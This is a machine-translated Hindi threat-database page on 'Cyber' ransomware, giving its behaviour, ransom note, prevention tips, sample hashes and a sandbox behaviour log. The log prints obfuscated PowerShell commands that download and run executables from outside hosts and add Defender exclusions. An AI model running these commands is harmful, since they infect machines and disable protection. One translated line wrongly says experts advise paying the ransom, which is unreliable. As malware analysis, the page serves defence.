Cyber Ransomware

Mezo से रैंसमवेयर तक

अनुवाद करने के लिए:

खतरा स्कोरकार्ड

एनिग्मा सॉफ्ट थ्रेट स्कोरकार्ड

EnigmaSoft थ्रेट स्कोरकार्ड विभिन्न मैलवेयर खतरों के लिए मूल्यांकन रिपोर्ट हैं जिन्हें हमारी शोध टीम द्वारा एकत्र और विश्लेषण किया गया है। EnigmaSoft थ्रेट स्कोरकार्ड वास्तविक दुनिया और संभावित जोखिम कारकों, प्रवृत्तियों, आवृत्ति, व्यापकता और दृढ़ता सहित कई मैट्रिक्स का उपयोग करके खतरों का मूल्यांकन और रैंक करता है। EnigmaSoft थ्रेट स्कोरकार्ड हमारे शोध डेटा और मेट्रिक्स के आधार पर नियमित रूप से अपडेट किए जाते हैं और कंप्यूटर उपयोगकर्ताओं की एक विस्तृत श्रृंखला के लिए उपयोगी होते हैं, अंतिम उपयोगकर्ताओं से लेकर सुरक्षा विशेषज्ञों तक खतरों का विश्लेषण करने के लिए अपने सिस्टम से मैलवेयर हटाने के लिए समाधान खोजते हैं।

EnigmaSoft थ्रेट स्कोरकार्ड विभिन्न प्रकार की उपयोगी जानकारी प्रदर्शित करते हैं, जिनमें शामिल हैं:

Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.

गंभीरता स्तर: हमारी जोखिम मॉडलिंग प्रक्रिया और अनुसंधान के आधार पर, जैसा कि हमारे खतरा आकलन मानदंड में बताया गया है, किसी वस्तु का निर्धारित गंभीरता स्तर, संख्यात्मक रूप से दर्शाया गया है।

संक्रमित कंप्यूटर: स्पाईहंटर द्वारा रिपोर्ट की गई संक्रमित कंप्यूटरों पर पाए गए किसी विशेष खतरे के पुष्ट और संदिग्ध मामलों की संख्या।

खतरा आकलन मानदंड भी देखें।

Popularity Rank:	10,078
ख़तरा स्तर:	100 % (उच्च)
संक्रमित कंप्यूटर:	3,489

पहले देखा:	October 15, 2021
अंतिम बार देखा गया:	November 12, 2025
ओएस (एस) प्रभावित:	Windows

साइबर नाम का मैलिशियस प्रोग्राम रैंसमवेयर टाइप का मालवेयर है। एक भंग प्रणाली पर निष्पादित होने पर, यह तुरंत डिवाइस पर सभी फाइलों के लिए एक एन्क्रिप्शन प्रक्रिया शुरू करता है और उनके मूल फ़ाइल नामों को 'साइबर' एक्सटेंशन के साथ जोड़ देता है। उदाहरण के लिए, '1.doc' के प्रारंभिक नाम वाली फ़ाइल अब एन्क्रिप्टेड होने के बाद '1.doc.Cyber' के रूप में दिखाई देगी। इसी तरह, '2.pdf' '2.pdf.Cyber' बन जाएगा, और इसी तरह।

फ़ाइल एन्क्रिप्शन के अलावा, Cyber Ransomware डेस्कटॉप वॉलपेपर भी बदलता है और 'read_it.txt' नाम का फिरौती का नोट बनाता है। फिरौती के नोट में पीड़ितों के लिए निर्देश होते हैं, रैंसमवेयर हमलों के लिए जिम्मेदार Cyber अपराधी आमतौर पर एन्क्रिप्टेड फाइलों को अनलॉक करने के लिए डिक्रिप्शन कुंजी के बदले भुगतान की मांग करते हैं।

विषयसूची

Cyber Ransomware एन्क्रिप्शन के माध्यम से पहुंच से बाहर कई फ़ाइल प्रकारों को प्रस्तुत कर सकता है

रैंसमवेयर नोट इंगित करता है कि पीड़ित की महत्वपूर्ण फाइलें, जैसे डेटाबेस, दस्तावेज और फोटो को एन्क्रिप्ट किया गया है और केवल बिटकॉइन क्रिप्टोक्यूरेंसी में फिरौती देकर डिक्रिप्ट किया जा सकता है। फिरौती की राशि का आमतौर पर उल्लेख किया जाता है, और पीड़ितों को भुगतान करने से पहले सीमित संख्या में फाइलों पर डिक्रिप्शन का परीक्षण करने का एक तरीका दिया जाता है।

नोट में अक्सर हमलावरों या उनके प्रतिनिधियों की संपर्क जानकारी होती है। हालाँकि, कभी-कभी संपर्क जानकारी मान्य नहीं हो सकती है, और पीड़ित को हमलावरों से संवाद करने में कठिनाई हो सकती है। इसके अतिरिक्त, रैंसमवेयर का वॉलपेपर एक ही संदेश और फिरौती की राशि प्रदर्शित कर सकता है लेकिन विभिन्न संपर्क विवरणों के साथ।

अधिकांश रैंसमवेयर हमलों में, हमलावरों की भागीदारी के बिना डिक्रिप्शन आमतौर पर संभव नहीं होता है। जब पीड़ित फिरौती का भुगतान करते हैं, तब भी उन्हें अपनी फ़ाइलों को पुनर्प्राप्त करने के लिए आवश्यक डिक्रिप्शन कुंजी या सॉफ़्टवेयर प्राप्त नहीं हो सकता है। नतीजतन, विशेषज्ञ दृढ़ता से फिरौती का भुगतान करने की सलाह देते हैं, भले ही संपर्क जानकारी वैध हो और फिरौती की राशि सस्ती हो।

यह याद रखना आवश्यक है कि फिरौती का भुगतान आपराधिक गतिविधि का समर्थन करता है और एन्क्रिप्टेड डेटा की वसूली की गारंटी नहीं देता है। पीड़ितों को अन्य विकल्पों का पता लगाना चाहिए, जैसे बैकअप से फ़ाइलों को पुनर्स्थापित करना या सुरक्षा विशेषज्ञों से सहायता मांगना।

Cyber Ransomware जैसे खतरों से अपने डिवाइस और डेटा को सुरक्षित रखना सुनिश्चित करें

उपयोगकर्ता अपने उपकरणों और डेटा को रैंसमवेयर हमलों से बचाने के लिए जो सर्वोत्तम उपाय लागू कर सकते हैं, उनमें सक्रिय और प्रतिक्रियाशील रणनीतियों का संयोजन शामिल है।

सबसे पहले, उपयोगकर्ताओं को अपनी ऑनलाइन गतिविधि में सतर्क रहना चाहिए और फ़िशिंग ईमेल या दुर्भावनापूर्ण डाउनलोड जैसे सामान्य रैंसमवेयर संक्रमण वैक्टर के शिकार होने से बचने के लिए कदम उठाने चाहिए। इसमें मजबूत और अद्वितीय पासवर्ड का उपयोग करना, सॉफ़्टवेयर और ऑपरेटिंग सिस्टम को नियमित रूप से अपडेट करना और संदिग्ध ईमेल या लिंक से सावधान रहना शामिल है।

दूसरा, उपयोगकर्ताओं को सुरक्षा उपायों को लागू करना चाहिए, जैसे कि प्रतिष्ठित एंटी-मैलवेयर सॉफ़्टवेयर का उपयोग करना और फायरवॉल को अपने उपकरणों पर अनधिकृत पहुंच को रोकने के लिए सक्षम करना। उन्हें एंडपॉइंट डिटेक्शन एंड रिस्पॉन्स (ईडीआर) टूल्स का उपयोग करने पर भी विचार करना चाहिए, जो वास्तविक समय में रैंसमवेयर हमलों का पता लगाने और प्रतिक्रिया देने में मदद कर सकते हैं।

तीसरा, उपयोगकर्ताओं को अपने महत्वपूर्ण डेटा को नियमित रूप से किसी बाहरी स्रोत, जैसे कि क्लाउड सेवा या बाहरी हार्ड ड्राइव पर बैकअप लेना चाहिए। यह सुनिश्चित करने में मदद कर सकता है कि भले ही उनका डिवाइस रैंसमवेयर से संक्रमित हो, फिर भी वे फिरौती का भुगतान किए बिना अपने डेटा तक पहुंच सकते हैं।

चौथा, रैंसमवेयर हमले की स्थिति में, उपयोगकर्ताओं को फिरौती का भुगतान करने से बचना चाहिए क्योंकि यह उनके डेटा की सुरक्षित वसूली की गारंटी नहीं दे सकता है और आगे की आपराधिक गतिविधियों को भी प्रोत्साहित कर सकता है। इसके बजाय, उन्हें सुरक्षा विशेषज्ञों से पेशेवर मदद लेनी चाहिए और कानून प्रवर्तन को हमले की रिपोर्ट करने पर विचार करना चाहिए।

अंत में, उपयोगकर्ताओं को संभावित हमलों के खिलाफ खुद को बचाने के लिए जागरूक और तैयार रहने के लिए नवीनतम रैंसमवेयर खतरों और विकसित हमले की तकनीकों के बारे में सूचित रहना चाहिए।

Cyber Ransomware द्वारा गिराए गए फिरौती के नोट का पूरा पाठ है:

चिंता न करें, आप अपनी सभी फ़ाइलें वापस कर सकते हैं!

आपकी सभी फाइलें जैसे दस्तावेज़, फोटो, डेटाबेस और अन्य महत्वपूर्ण एन्क्रिप्टेड हैं

हम आपको क्या गारंटी देते हैं?

आप अपनी 3 एन्क्रिप्टेड फाइलें भेज सकते हैं और हम इसे मुफ्त में डिक्रिप्ट करते हैं।

अपनी फ़ाइलों को डिक्रिप्ट करने के लिए आपको इन चरणों का पालन करना होगा:

1) हमारे ई-मेल पर लिखें:test@test.com (24 घंटे में कोई जवाब नहीं होने की स्थिति में अपने स्पैम फोल्डर की जांच करें

या हमें इस ई-मेल पर लिखें: test2@test.com)

2) बिटकॉइन प्राप्त करें (बिटकॉइन में आपको डिक्रिप्शन के लिए भुगतान करना होगा।

भुगतान के बाद हम आपको वह टूल भेजेंगे जो आपकी सभी फाइलों को डिक्रिप्ट कर देगा।)

Cyber Ransomware वीडियो

युक्ति: अपनी ध्वनि चालू करें और वीडियो को पूर्ण स्क्रीन मोड में देखें ।

विश्लेषण रिपोर्ट

सामान्य जानकारी

Family Name:	Cyber Ransomware
Signature status:	No Signature

Known Samples

MD5: 6ae50bdc7246401c666cd7e1b200d87a

SHA1: ec759c5df1845d1109fe2518380233ae1854850f

फाइल का आकार: 1.84 MB, 1839616 bytes

MD5: 92a4a3aa4b40e95e8ca1d015c048246b

SHA1: 443a688cc83423c7511d56b626f85a392e798ac1

फाइल का आकार: 5.12 KB, 5120 bytes

MD5: 969c9e50187024581e8943a2d8ed9d2d

SHA1: 57cec27d4e6c7714265cad52f7fd9cf58f68bb82

SHA256: C78A44442518C4EC39EF4E85C331C5CDD25C92FC92A80010C6F6DC3F59B1C42D

फाइल का आकार: 4.61 KB, 4608 bytes

MD5: d1657a06fd2a757c43372f77ed433f30

SHA1: 48d0f17e206fdcff74121783989c90117ee411f4

SHA256: 0AFC88FC7DD731CF7D5884C415D5A27DC4FB39EB54DC890257AFEA947FC05725

फाइल का आकार: 4.54 MB, 4536320 bytes

Windows Portable Executable Attributes

File doesn't have "Rich" header
File doesn't have debug information
File doesn't have exports table
File doesn't have relocations information
File doesn't have security information
File is 32-bit executable
File is either console or GUI application
File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
File is Native application (NOT .NET application)
File is not packed

IMAGE_FILE_DLL is not set inside PE header (Executable)
IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

File Icons

File Traits

HighEntropy
No Version Info
x86

Block Information

Total Blocks:	8
Potentially Malicious Blocks:	7
Whitelisted Blocks:	1
Unknown Blocks:	0

Visual Map

x x x x x x x 0

0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block

Similar Families

ClipBanker.VA
ClipBanker.VB

Files Modified

File	Attributes
\device\namedpipe\pshost.133968239486036860.2548.defaultappdomain.powershell	Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\pshost.133973844142271624.5256.defaultappdomain.powershell	Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\pshost.134074942406200962.1348.defaultappdomain.powershell	Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
c:\users\user\appdata\local\cheat.dll	Generic Write,Read Attributes
c:\users\user\appdata\local\launcher.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\launcher.ini	Generic Write,Read Attributes
c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_16.db	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\microsoft\windows\explorer\iconcache_idx.db	Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_0zdqbhap.r32.ps1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_24snuqhq.oyp.ps1	Generic Write,Read Attributes

c:\users\user\appdata\local\temp\__psscriptpolicytest_al3g5ul4.lob.psm1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_aocz5vmr.rla.ps1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_dv4pkhv1.qlu.psm1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_iqv5olmb.tfb.psm1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_ruwcjycv.ppp.ps1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_ux1vmtfo.12w.psm1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\album_td_3-8-0_activation.exe	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\father.bat	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\father.bat	Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.bat	Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1	Generic Write,Read Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\modular.ps1	Synchronize,Write Attributes
c:\users\user\appdata\local\temp\ixp000.tmp\tmp4351$.tmp	Generic Write,Read Attributes,Delete
c:\users\user\appdata\local\temp\ttrj.exe	Generic Write,Read Attributes
c:\users\user\deployment_test.exe	Generic Write,Read Attributes

Registry Modifications

Key::Value	जानकारी	API Name
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet		RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	넜泝Ǜ	RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475		RegNtPreCreateKey

HKLM\software\microsoft\windows\currentversion\runonce::wextract_cleanup0	rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Vebexpvr\AppData\Local\Temp\IXP000.TMP\"	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe	᭖洢Ǜ	RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	洧Ǜ	RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::0	C:\Users\Vebexpvr\AppData\Local\Launcher.exeC:\Users\Vebexpvr\AppData\Local	RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\explorer\comdlg32\firstfolder::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::1	Z1敖敢灸牶B 뻯.Vebexpvr	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::0	V1嫬齤灡摰瑡a@ 뻯啮坤嫬齤.穗붽æappdata	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::0	P1嫬齤潬慣l< 뻯嫬齤嫬齥.穘ˑQlocal	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots	ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::nodeslot		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru\2\1\0\1\0\0::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bags\132\shell::sniffedfoldertype	Generic	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots	ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots	ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::nodeslots	ȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂȂ	RegNtPreCreateKey
HKCU\local settings\software\microsoft\windows\shell\bagmru::mrulistex		RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	椓嵌Ǜ	RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475		RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe	ﻒ⍮味ǜ	RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc3475	㴠ȁ龡^8獖}	RegNtPreCreateKey
HKLM\software\microsoft\windows nt\currentversion\notifications\data::418a073aa3bc1c75		RegNtPreCreateKey

Windows API Usage

Category	API
Process Manipulation Evasion	NtUnmapViewOfSection
Process Shell Execute	CreateProcess ShellExecute
Syscall Use	ntdll.dll!NtAccessCheck ntdll.dll!NtAccessCheckByType ntdll.dll!NtAddAtomEx ntdll.dll!NtAlertThreadByThreadId ntdll.dll!NtAllocateLocallyUniqueId ntdll.dll!NtAlpcAcceptConnectPort ntdll.dll!NtAlpcConnectPort ntdll.dll!NtAlpcConnectPortEx ntdll.dll!NtAlpcCreatePort ntdll.dll!NtAlpcCreatePortSection Show More ntdll.dll!NtAlpcCreateSectionView ntdll.dll!NtAlpcCreateSecurityContext ntdll.dll!NtAlpcQueryInformation ntdll.dll!NtAlpcSendWaitReceivePort ntdll.dll!NtAlpcSetInformation ntdll.dll!NtApphelpCacheControl ntdll.dll!NtAssociateWaitCompletionPacket ntdll.dll!NtCancelWaitCompletionPacket ntdll.dll!NtClearEvent ntdll.dll!NtClose ntdll.dll!NtCompareSigningLevels ntdll.dll!NtConnectPort ntdll.dll!NtCreateEvent ntdll.dll!NtCreateFile ntdll.dll!NtCreateIoCompletion ntdll.dll!NtCreateKey ntdll.dll!NtCreateMutant ntdll.dll!NtCreatePrivateNamespace ntdll.dll!NtCreateSection ntdll.dll!NtCreateSemaphore ntdll.dll!NtCreateThreadEx ntdll.dll!NtCreateTimer ntdll.dll!NtCreateTimer2 ntdll.dll!NtCreateWaitCompletionPacket ntdll.dll!NtCreateWorkerFactory ntdll.dll!NtDelayExecution ntdll.dll!NtDeleteValueKey ntdll.dll!NtDeviceIoControlFile ntdll.dll!NtDuplicateObject ntdll.dll!NtDuplicateToken ntdll.dll!NtEnumerateKey ntdll.dll!NtEnumerateValueKey ntdll.dll!NtFindAtom ntdll.dll!NtFlushProcessWriteBuffers ntdll.dll!NtFreeVirtualMemory ntdll.dll!NtFsControlFile ntdll.dll!NtGetCachedSigningLevel ntdll.dll!NtGetNlsSectionPtr ntdll.dll!NtImpersonateAnonymousToken ntdll.dll!NtMapViewOfSection ntdll.dll!NtNotifyChangeKey ntdll.dll!NtOpenDirectoryObject ntdll.dll!NtOpenEvent ntdll.dll!NtOpenFile ntdll.dll!NtOpenKey ntdll.dll!NtOpenKeyEx ntdll.dll!NtOpenMutant ntdll.dll!NtOpenProcess ntdll.dll!NtOpenProcessToken ntdll.dll!NtOpenProcessTokenEx ntdll.dll!NtOpenSection ntdll.dll!NtOpenSemaphore ntdll.dll!NtOpenSymbolicLinkObject ntdll.dll!NtOpenThread ntdll.dll!NtOpenThreadToken ntdll.dll!NtOpenThreadTokenEx ntdll.dll!NtProtectVirtualMemory ntdll.dll!NtQueryAttributesFile ntdll.dll!NtQueryDefaultLocale ntdll.dll!NtQueryDirectoryFile ntdll.dll!NtQueryDirectoryFileEx ntdll.dll!NtQueryEvent ntdll.dll!NtQueryFullAttributesFile ntdll.dll!NtQueryInformationFile ntdll.dll!NtQueryInformationJobObject ntdll.dll!NtQueryInformationProcess ntdll.dll!NtQueryInformationThread ntdll.dll!NtQueryInformationToken ntdll.dll!NtQueryKey ntdll.dll!NtQueryLicenseValue ntdll.dll!NtQueryObject ntdll.dll!NtQueryPerformanceCounter ntdll.dll!NtQuerySecurityAttributesToken ntdll.dll!NtQuerySecurityObject ntdll.dll!NtQuerySymbolicLinkObject ntdll.dll!NtQuerySystemInformation ntdll.dll!NtQuerySystemInformationEx ntdll.dll!NtQueryValueKey ntdll.dll!NtQueryVirtualMemory ntdll.dll!NtQueryVolumeInformationFile ntdll.dll!NtQueryWnfStateData ntdll.dll!NtReadFile ntdll.dll!NtReadVirtualMemory ntdll.dll!NtReleaseMutant ntdll.dll!NtReleaseSemaphore ntdll.dll!NtReleaseWorkerFactoryWorker ntdll.dll!NtRequestWaitReplyPort ntdll.dll!NtResumeThread ntdll.dll!NtSetEvent ntdll.dll!NtSetInformationFile 206 additional items are not displayed above.
Anti Debug	IsDebuggerPresent NtQuerySystemInformation
User Data Access	GetUserDefaultLocaleName GetUserName GetUserNameEx GetUserObjectInformation
Encryption Used	BCryptOpenAlgorithmProvider
Other Suspicious	AdjustTokenPrivileges

Shell Command Execution


							open C:\Users\Vebexpvr\AppData\Local\Launcher.exe


							open C:\Users\Vebexpvr\deployment_test.EXE


							cmd.exe /c father.bat


							C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe powershell  -Command "Start-Process -WindowStyle Hidden -FilePath powershell -Verb RunAs -ArgumentList '-NoProfile -Command Add-MpPreference -ExclusionPath \"C:\Users\Vebexpvr\*\"


							open powershell -EncodedCommand "PAAjAHYAYQBwACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQAtAHAAbAB1AGcAaQBuAC4AaQBuAGYAbwAvAHkAYwAuAGUAeABlACcALAAgADwAIwBqAHMAeAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAZABzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAdAB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwAuAGUAeABlACcAKQApADwAIwBlAGEAdgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAGQAbwBiAGUALQBwAGwAdQBnAGkAbgAuAGkAbgBmAG8ALwB5AGMAdgAuAGUAeABlACcALAAgADwAIwBqAHEAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAcQB1ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGMAdABjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHkAYwB2AC4AZQB4AGUAJwApACkAPAAjAGkAZgBpACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAZwBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAG0AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMALgBlAHgAZQAnACkAPAAjAHYAcQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdABiACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwByAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB5AGMAdgAuAGUAeABlACcAKQA8ACMAegB2AHQAIwA+AA=="


									open powershell -EncodedCommand "PAAjAHQAegBsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA4ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGEAZABvAGIAZQBoAGUAbABwAC4AbgBlAHQALwB3AGkAbgA4ADYALgBlAHgAZQAnACwAIAA8ACMAegBhAHIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGwAZAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHMAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB3AGkAbgA4ADYALgBlAHgAZQAnACkAKQA8ACMAaAB6AHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbgBjAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGgAcgB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHcAaQBuADgANgAuAGUAeABlACcAKQA8ACMAbgB2AG0AIwA+AA=="


									open powershell -EncodedCommand "PAAjAGsAYwBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAcwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAZABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAdABlACMAPgA="


									open C:\Users\Qoceadrm\AppData\Local\Temp\Album_TD_3-8-0_Activation.exe


									open C:\Users\Qoceadrm\AppData\Local\Temp\ttrj.exe

Cyber Ransomware

खतरा स्कोरकार्ड

एनिग्मा सॉफ्ट थ्रेट स्कोरकार्ड

Cyber Ransomware एन्क्रिप्शन के माध्यम से पहुंच से बाहर कई फ़ाइल प्रकारों को प्रस्तुत कर सकता है

Cyber Ransomware जैसे खतरों से अपने डिवाइस और डेटा को सुरक्षित रखना सुनिश्चित करें

Cyber Ransomware वीडियो

विश्लेषण रिपोर्ट

सामान्य जानकारी

Known Samples

Known Samples

Windows Portable Executable Attributes

Windows Portable Executable Attributes

File Icons

File Icons

File Traits

Block Information

Block Information

Visual Map

Similar Families

Similar Families

Files Modified

Files Modified

Registry Modifications

Registry Modifications

Windows API Usage

Windows API Usage

Shell Command Execution

Shell Command Execution

टिप्पणी भेजें

संबंधित पोस्ट

रुझान

सबसे ज्यादा देखा गया